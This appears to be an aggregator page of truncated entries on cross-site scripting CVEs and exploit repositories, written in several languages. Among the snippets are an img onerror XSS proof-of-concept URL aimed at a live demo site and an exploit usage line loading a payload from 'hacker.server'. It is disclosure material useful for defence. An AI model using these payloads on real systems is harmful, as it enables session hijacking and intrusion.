CVE-2026-66574

Contributor Cross Site Scripting XSS in Element Pack Elementor Addons = 8.8.3 versions...

CVE-2025-55817

漏洞类型 跨站脚本（XSS） 受影响组件 Chillicream 的 Nitro GraphQL 连接设置中包含3个不同的输入位置，容易遭受跨站脚本攻击（XSS）。易受攻击的参数：SDL Schema Endpoint、Subscription Endpoint、SSE Subscription Endpoint 攻击类型 远程 影响-信息泄露 是 攻击向量 3个输入字段容易受到XSS负载的攻击： 供应商已确认 是 发现者 Brian Lowe - KirkpatrickPrice - 2025年6月23日 参考 https://chillicream.com 产品供应商...

CVE-2025-56514

CVE-2025-56514: Vulnerabilidad de Cross Site Scripting XSS en la aplicación de chat Fiora Descripción general Una vulnerabilidad de Cross Site Scripting XSS, identificada como CVE-2025-56514 , afecta a la aplicación de chat Fiora versión 1.0.0. Esta vulnerabilidad permite a un usuario autenticado...

Atmail-exploit-toolchain

AtMail Email Server Appliance 6.4 - 漏洞利用工具链（XSS CSRF RCE） PacketStorm WLB-2020080010 免责声明：此漏洞利用工具链的灵感来自 EDB-ID 20009。 目标 此漏洞利用工具链的目标是替代 EDB-ID 20009。 该工具链相对于 EDB-ID 20009 漏洞利用的优势： 简单易用 可重复使用 动态生成 Payload 易于编辑/修改 代码清晰且提供插件 EDB-ID 20009 漏洞利用的缺点： 不可定制（静态硬编码的 Payload） 使用复杂（需要替换许多硬编码的值并调整代码以适应目标环境）...

Bolt-CMS-3.6.2---Cross-Site-Scripting

Bolt CMS 3.6.2 - 跨站脚本漏洞 Bolt CMS 3.6.2 - 跨站脚本漏洞 CVE-2018-19933 https://vulners.com/cve/CVE-2018-19933 概念验证 要利用此漏洞，Bolt CMS 3.6.2 允许通过文本输入点击预览按钮触发 XSS，如 Configured 和 New Entry 的 Title 字段所示。 root@kitploit: POST /preview/page HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: Mozilla/5.0 Windows NT 10.0;...

Craft-CMS-3.0.25---Cross-Site-Scripting

Craft-CMS-3.0.25 - 跨站脚本（Cross-Site-Scripting） Craft CMS 3.0.25 - 跨站脚本漏洞 CVE-CVE-2018-20418 https://vulners.com/cve/CVE-2018-20418 概念验证 通过从控制台标签页保存新标题，即可执行跨站脚本（XSS）攻击。 root@kitploit: POST /admin-panel-path/index.php?p=admin/actions/entries/save-entry HTTP/1.1 Host: IP:PORT User-Agent: Mozilla/5.0...

Cisco ASA/FTD Software - Cross-Site Scripting

Cisco Adaptive Security Appliance ASA Software and Cisco Firepower Threat Defense FTD Software are vulnerable to cross-site scripting and could allow an unauthenticated, remote attacker to conduct attacks against a user of the web services interface of an affected device. The vulnerabilities are...

Beautiful Cookie Consent Banner < 2.10.2 - Cross-Site Scripting

The Beautiful Cookie Consent Banner for WordPress is vulnerable to Stored Cross-Site Scripting via the 'nscbarcontenthref' parameter in versions up to, and including, 2.10.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject...

WordPress UserPro 4.9.32 - Cross-Site Scripting

WordPress UserPro 4.9.32 is vulnerable to reflected cross-site scripting because the Instagram PHP API v2 it relies on allows it via the example/success.php errordescription parameter. id: CVE-2019-14470 info: name: WordPress UserPro 4.9.32 - Cross-Site Scripting author: daffainfo severity: mediu...

Moodle Jitsi Meet 2.7-2.8.3 - Cross-Site Scripting

Moodle Jitsi Meet 2.7 through 2.8.3 plugin contains a cross-site scripting vulnerability via the "sessionpriv.php" module. This allows attackers to craft a malicious URL, which when clicked on by users, can inject JavaScript code to be run by the application. id: CVE-2021-26812 info: name: Moodle...

CVE-2024-39123-Exploit

CVE-2024-39123：Calibre-web 0.6.21 中的存储型 XSS 漏洞 漏洞利用详情 漏洞利用标题 ：Calibre-web 中的存储型 XSS 漏洞 日期 ：2024-05-07 漏洞利用作者 ：Catalin Iovita & Alexandru Postolache Pentest-Tools.com 厂商主页 ：Calibre-web GitHub 仓库 版本 ：0.6.21 - Romesa 测试环境 ：Linux 5.15.0-107、Python 3.10.12、lxml 4.9.4 CVE ：CVE-2024-39123 漏洞描述 Calibre-w...

tool-29489

Tool-29489 概述 🔍: 该工具用于识别存在 CVE-2023-29489 漏洞的 URL。 该工具使用 payload 来识别该漏洞。 tool-29489 的帮助菜单： python main.py help URL inputfile outputfile -h 或 --help : 显示帮助选项。 -u 或 --url : 输入要检查的 URL。 -i 或 --input : 提供输入文件。 -o 或 --output : 提供输出文件。 关于 CVE-2023-29489 🔍: CVE 描述：- 在 cPanel 11.109.9999.116...

CVE-2026-37750

CVE-2026-37750 — 学校管理系统 1.0 - 反射型 XSS 详细信息 字段| 信息 ---|--- CVE ID| CVE-2026-37750 类型| 反射型跨站脚本（XSS） 严重性| 中危（CVSSv3：6.1） 厂商| mahmoudai1 产品| 学校管理系统 版本| 1.0 发现者| Varad AP Mene 日期| 2026-04-16 CWE| CWE-79 描述 mahmoudai1 开发的学校管理系统 1.0 中存在一个反射型跨站脚本（XSS）漏洞，允许未经身份验证的远程攻击者通过 register.php 中未经过滤的 type...

CVE-2026-30695

CVE-2026-30695 - Zucchetti Axess 中的 XSS 漏洞 概述 Zucchetti Axess 门禁控制设备（XA4、X3/X3BIO、X4、X7、XIO、i-door、i-door+）的基于 Web 的配置界面中存在跨站脚本（XSS）漏洞。 该漏洞是由于 /filemanager.cgi 端点中的 dirBrowse 参数对用户提供的输入未进行适当的清理所致。经过身份验证的攻击者可以注入任意 JavaScript 代码，这些代码会在管理用户的上下文中执行。 成功利用该漏洞可能导致会话劫持、未经授权的配置更改以及敏感信息泄露。 受影响版本 XIO h06...

CVE-2021-41349

Microsoft Exchange 漏洞利用 CVE-2021-41349 利用：CVE-2021-41349 此利用工具会创建一个表单，用于向目标 Exchange 服务器提交 XSS 载荷。 你需要创建一个包含你所需操作的 js 文件。 使用方法 1. 创建你的 js 载荷，并将其上传到某个位置。 2. 按照以下步骤运行 CVE-2021-41349.py。 root@kitploit: python3 CVE-2021-41349.py "https://mail.target.com" "https://hacker.server/payload.js" out.html 或者...

CVE-2021-45416

Docker RosarioSIS 安装 最低要求：Docker 及可用的 Git。 你可以从 DockerHub 拉取镜像，或者： 1. 启动 docker root@kitploit: $ git clone https://github.com/dnr6419/CVE-2021-45416.git $ cd CVE-2021-45416 $ docker-compose up -d 2. 访问该 URL 并安装数据库 root@kitploit: http://YOURIP:80/InstallDatabase.php 3. 然后，前往...

CVE-disclosures

CVE-2026-3171 与 CVE-2026-3170 – Archana M 由 Archana M 发布的官方漏洞披露。 🔹 CVE-2026-3171 产品： SourceCodester / Patrick Mvuma 患者候诊区排队管理系统 1.0 漏洞类型： 跨站脚本（CWE-79） 受影响文件： /queue.php 攻击向量： 远程 用户交互： 需要 CVSS v3.1： 3.5（AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N） 状态： 已公开披露 描述 对用户输入（firstname / lastname）的中和不当，导致跨站脚本（XSS）漏...

CVE-2026-10289-XSS

酒店与旅游预订系统 - 存储型跨站脚本（XSS） 漏洞详情 字段| 详情 ---|--- 标题| 酒店与旅游预订系统 - 存储型跨站脚本（XSS） CVE ID| 待分配 厂商| code-projects.org 厂商 URL| https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/ 产品| 酒店与旅游预订系统 版本| 1.0 漏洞类型| 存储型跨站脚本 CWE| CWE-79 CVSS 评分| 8.3（高危） CVSS 向量|...

CVE-2023-48858

CVE-2023-48858 CVE-2023-48858 的 PoC Armex ABO.CMS 5.9 登录页面 PHP 代码中存在跨站脚本（XSS）漏洞，远程攻击者可通过 login.php? URL 部分注入任意 Web 脚本或 HTML。 概念验证： http://demo.abocms.ru/login.php/eqbzm%22%3E%3Cimg%20src%3d/%20onerror%3dalert%281%29%3Er338y 这并非特指“演示”版本的漏洞， 已在真实暴露于网络的网站上得到确认 此处使用的演示链接仅用于表明该漏洞仍然存在 漏洞类型： 跨站脚本（XSS）...

CVE-2024-56289

CVE-2024-56289 1️⃣ 组件类型 WordPress 插件 2️⃣ 组件详情 组件名称 WordPress CRM、电子邮件与营销自动化插件 | 获奖作品 — Groundhogg 受影响版本 由于该插件使用 REST API，固定链接必须设置为“文章名”。 2. 随后，访问以下各菜单的链接将触发反射型 XSS 漏洞。 联系人菜单（/wp-admin/admin.php?page=ghcontacts） root@kitploit:...